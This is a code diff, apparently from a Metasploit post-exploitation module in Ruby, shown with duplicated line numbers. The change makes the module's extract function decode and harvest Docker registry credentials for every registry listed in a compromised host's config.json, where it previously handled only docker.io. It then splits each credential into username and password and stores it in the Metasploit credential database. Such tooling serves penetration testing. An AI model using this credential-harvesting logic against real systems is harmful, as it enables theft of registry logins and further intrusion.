@@ -57,15 +57,34 @@ def download_loot(paths)
57
57
def extract ( target )
58
58
file = read_file ( target )
59
59
parsed = JSON . parse ( file )
60
- if parsed [ "auths" ] && parsed [ "auths" ] [ "https://index.docker.io/v1/" ]
61
- creds = parsed [ "auths" ] [ "https://index.docker.io/v1/" ] [ "auth" ]
60
+ if parsed [ "auths" ]
61
+ parsed [ "auths" ] . each do |key , value |
62
+ vprint_status ( "key: #{ key } " )
63
+ value . each do |k , v |
64
+ if k == "auth"
65
+ plain = Rex ::Text . decode_base64 ( v )
66
+ if plain . include? ":"
62
67
63
- if creds . length > 0
64
- plain = Rex ::Text . decode_base64 ( creds )
65
- print_good ( "Found #{ plain } " )
66
- loot_path = store_loot ( "docker.credentials" , "text/plain" , session , plain ,
67
- "config.json" , "Docker credentials from #{ target } " )
68
- print_good ( "Saved credentials to #{ loot_path } " )
68
+ print_good ( "Found #{ plain } " )
69
+ username , password = plain . split ( ':' )
70
+ credential_data = {
71
+ origin_type : :import ,
72
+ module_fullname : self . fullname ,
73
+ filename : target ,
74
+ workspace_id : myworkspace_id ,
75
+ service_name : 'docker' ,
76
+ realm_value : key ,
77
+ realm_key : Metasploit ::Model ::Realm ::Key ::WILDCARD ,
78
+ private_type : :password ,
79
+ private_data : password ,
80
+ username : username
81
+ }
82
+ create_credential ( credential_data )
83
+
84
+ print_good ( "Saved credentials" )
85
+ end
86
+ end
87
+ end
69
88
end
70
89
else
71
90
print_status ( "No credentials found in config file" )
0 commit comments